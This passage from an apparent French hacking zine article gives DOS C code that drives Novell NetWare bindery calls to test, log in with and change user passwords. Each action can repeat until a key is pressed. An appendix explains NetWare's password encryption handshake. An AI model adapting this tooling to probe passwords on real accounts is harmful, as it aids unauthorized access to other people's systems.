memset(p3,0,8); for (j=0 ; j<16 ; j++) { c= tab3[j]; c= (tab3[j]&1) ? (buf[c/2]>>4) : (buf[c/2]&0xf) ; p3[j/2] |= (j&1) ? (c<<4) : c ; } memcpy(buf,p3,8); } } int shreq(int f, u_char *req, int rl, u_char *ans, int al) { struct REGPACK r; r.r_cx=rl; r.r_dx=al; r.r_si=FP_OFF(req); r.r_di=FP_OFF(ans); r.r_ds=FP_SEG(req); r.r_es=FP_SEG(ans); r.r_ax=0xf200|f; intr(0x21,&r); return(r.r_ax&0xff); } int getlogkey(u_char *s) { u_char req[3]; req[0]=0; req[1]=1; req[2]=0x17; return(shreq(0x17,req,3,s,8)); } int getobjid(char *name, int type, long *id) { u_char req[MAXNAMELEN+6]; u_char rep[MAXNAMELEN+6]; int err; req[2]=0x35; *(int *)(req+3)=type; req[5]=strlen(name); strncpy((char *)req+6,name,MAXNAMELEN); req[0]=0; req[1]=req[5]+4; err=shreq(0x17,req,req[1]+2,rep,MAXNAMELEN+6); *id=*(long *)rep; return(err); } int setpwcrypt(u_char *oldpw, int type, char *name, u_char *newpw, int l) { u_char req[MAXNAMELEN+31]; /* 8+16(pw's) + 1 + 3(type+len) + 3(header) */ req[2]=0x4b; memcpy(req+3,oldpw,8); *(int *)(req+11)=type; req[13]=strlen(name); strncpy((char *)req+14,name,48); req[14+req[13]]=l; memcpy(req+15+req[13],newpw,16); req[0]=0; req[1]=29+req[13]; return(shreq(0x17,req,req[1]+2,req,0)); } setpw(char *name, int type, char *oldpw, char *newpw) { u_char req[8+MAXNAMELEN+2*MAXPWLEN]; int l=5; req[2]=0x40; *(int *)(req+3)=type; req[l++]=strlen(name); strncpy((char *)req+l,name,MAXNAMELEN); l+=req[l]; req[l++]=strlen(newpw); strncpy((char *)req+l,newpw,MAXPWLEN); l+=req[l]; req[l++]=strlen(oldpw); strncpy((char *)req+l,oldpw,MAXPWLEN); l+=req[l]; req[0]=l>>8; req[1]=l&0xff; return(shreq(0x17,req,l+2,req,0)); } int changepw(char *name, int type, char *oldpw, char *newpw) { u_char logkey[8]; long id; u_char oldcrpw[16]; u_char newcrpw[16]; int err; int l; if (getlogkey(logkey)==0) { err=getobjid(name,type,&id); if (err) return (err); encryptp(id,(u_char *)oldpw,strlen(oldpw),oldcrpw); encryptp(id,(u_char *)newpw,strlen(newpw),newcrpw); getpassk((long *)logkey,oldcrpw,logkey); encrypt3(oldcrpw,newcrpw,newcrpw); encrypt3(oldcrpw+8,newcrpw+8,newcrpw+8); l=((( min(63,strlen(newpw))^oldcrpw[0]^oldcrpw[1] )&0x7f)|0x40); return(setpwcrypt(logkey,type,name,newcrpw,l)); } else return(setpw(name,type,oldpw,newpw)); } int trypw(char *pw, int type, char *name) { u_char req[7+MAXNAMELEN+MAXPWLEN]; req[2]=0x3f; *(int *)(req+3)=type; req[5]=strlen(name); strncpy((char *)req+6,name,MAXNAMELEN); req[6+req[5]]=strlen(pw); strncpy((char *)req+7+req[5],pw,MAXPWLEN); req[0]=0; req[1]=5+req[5]+req[6+req[5]]; return(shreq(0x17,req,req[1]+2,req,0)); } int trypwcrypt(u_char *crpw, int type, char *name) { u_char req[14+MAXNAMELEN]; req[2]=0x4a; memcpy(req+3,crpw,8); *(int *)(req+11)=type; req[13]=strlen(name); strncpy((char *)req+14,name,MAXNAMELEN); req[0]=0; req[1]=12+req[13]; return(shreq(0x17,req,req[1]+2,req,0)); } int testpw(char *name, int type, char *pw) { u_char logkey[8]; long id; u_char crpw[16]; int err; if (getlogkey(logkey)==0) { err=getobjid(name,type,&id); if (err) return (err); encryptp(id,(u_char *)pw,strlen(pw),crpw); getpassk((long *)logkey,crpw,logkey); return(trypwcrypt(logkey,type,name)); } else return(trypw(name,type,pw)); } int logincrypt(u_char *crpw, int type, char *name) { u_char req[14+MAXNAMELEN]; req[2]=0x18; memcpy(req+3,crpw,8); *(int *)(req+11)=type; req[13]=strlen(name); strncpy((char *)req+14,name,MAXNAMELEN); req[0]=0; req[1]=12+req[13]; return(shreq(0x17,req,req[1]+2,req,0)); } int login(char *name, int type, char *pw) { u_char req[7+MAXNAMELEN+MAXPWLEN]; req[2]=0x14; *(int *)(req+3)=type; req[5]=strlen(name); strncpy((char *)req+6,name,MAXNAMELEN); req[6+req[5]]=strlen(pw); strncpy((char *)req+7+req[5],pw,MAXPWLEN); req[0]=0; req[1]=5+req[5]+req[6+req[5]]; return(shreq(0x17,req,req[1]+2,req,0)); } int dologin(char *name, int type, char *pw) { u_char logkey[8]; long id; u_char crpw[16]; int err; if (getlogkey(logkey)==0) { err=getobjid(name,type,&id); if (err) return (err); encryptp(id,(u_char *)pw,strlen(pw),crpw); getpassk((long *)logkey,crpw,logkey); return(logincrypt(logkey,type,name)); } else return(login(name,type,pw)); } int setconn(int c) { struct REGPACK r; r.r_ax=0xf000; /* set preferred connection nr */ r.r_dx=c+1; intr(0x21,&r); return(r.r_ax&0xff); } int scanobj(char *name, int *type, long *id, int *err) { u_char req[10+MAXNAMELEN]; /* int length * char type * long id (-1 for wildcard) * int type (-1 for wildcard) * char len * char objname[len] */ u_char rep[9+MAXNAMELEN]; /* long id 0 * int type 4 * char name[48] 6 * char object_flags 54 * char security_flags 55 * char more 56 */ int objlen=strlen(name); req[2]=0x37; /* scan object list */ *(long *)(req+3)=*id; *(int *)(req+7)=*type; req[9]=objlen; /* string : obj name */ strncpy((char *)req+10,name,MAXNAMELEN); req[0]=0; req[1]=8+objlen; *err=shreq(0x17, req, req[1]+2+(req[0]<<8), rep, 0x39); if (*err) return(0); strncpy(name,(char *)rep+6,MAXNAMELEN); *type=*(int *)(rep+4); *id=*(long *)rep; return(rep[56]); } void main(int argc, char **argv) { char pw[MAXPWLEN]; char newpw[MAXPWLEN]; int err; int i; err=setconn(0); if (err) printf("failed setconn : %02x\n",err); if (argc>3) { debug=atoi(argv[1]); argv++; argc--; } if (argc<3) { printf("Usage : nov F username\n"); printf(" F = t l s\n"); exit(1); } strupr(argv[2]); while (kbhit()) getch(); switch(argv[1][0]) { case 't': /* verifybinderyovbjectpassword */ strcpy(pw,strupr(getpass("enter pw : "))); do { err=testpw(argv[2],0x100,pw); printf("%02x",err); } while (argv[1][1] && !kbhit()); break; case 'l': /* loginbinderyobject */ strcpy(pw,strupr(getpass("enter pw : "))); do { err=dologin(argv[2],0x100,pw); printf("%02x",err); } while (argv[1][1] && !kbhit()); break; case 's': /* setbinderyobjectpassword */ strcpy(pw,strupr(getpass("enter old pw : "))); strcpy(newpw,strupr(getpass("enter new pw : "))); do { err=changepw(argv[2],0x100,pw,newpw); printf("%02x",err); } while (argv[1][1] && !kbhit()); break; } while (kbhit()) getch(); } Appendix C: Comment Novell crypte les PW: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Les versions avant la 2.15c transmettent les PW non cryptés au serveur qui les crypte lui-meme. Cette section s'occupe de l'après 2.15c. 1. Login vous demande le serveur (ou prends celui par default) et votre USER_ID. 2. Server/User_ID sont transmis au serveur et vous etes attachés à ce serveur. 3. Login envoit un LOGOUT NCP pour effacer toute autre connection que vous pouvez avoir deja avec ce serveur. 4. Login demande un votre OBJECT_ID et une clé de login au serveur. 5. Le serveur genere une clé 8 byte et l'envoit à Login. 6. Login demande votre PW. 7. Login crypte OBJECT_ID, clé et PW pour faire un 16 byte PW value. [ A mon avis la clé n'est pas utilisé, le chiffrement se fait uniquement sur OBJECT_ID et PW qui sont connus à l'avance et, aussi à mon avis, ne changent pas. ] 8. Login crypte cette PW value avec la clé à pour faire un 8 byte PW value et l'envoit au serveur. 9. Le serveur recupere la 16 byte PW value qu'il a stocké dans la Bindery et la crypte avec la meme clé qu'il a envoyé à Login. Il compare ensuite les 2 8 byte PW values. Si ils sont identiques le PW doit etre bon. Appendix D: L'auteur: ~~~~~~~~~~~~~~~~~~~~~ Mon handle est ARSCENE et je n'ais pas d'email actuellement. Pour me contacter adressez vous au journal et ils me feront parvenir l'info. Voila, c'est tout. Merci de m'avoir lut et j'espere avoir l'occasion d'ecrire un autre article pour ce zine bientot. Bonne chance et bon Hacking...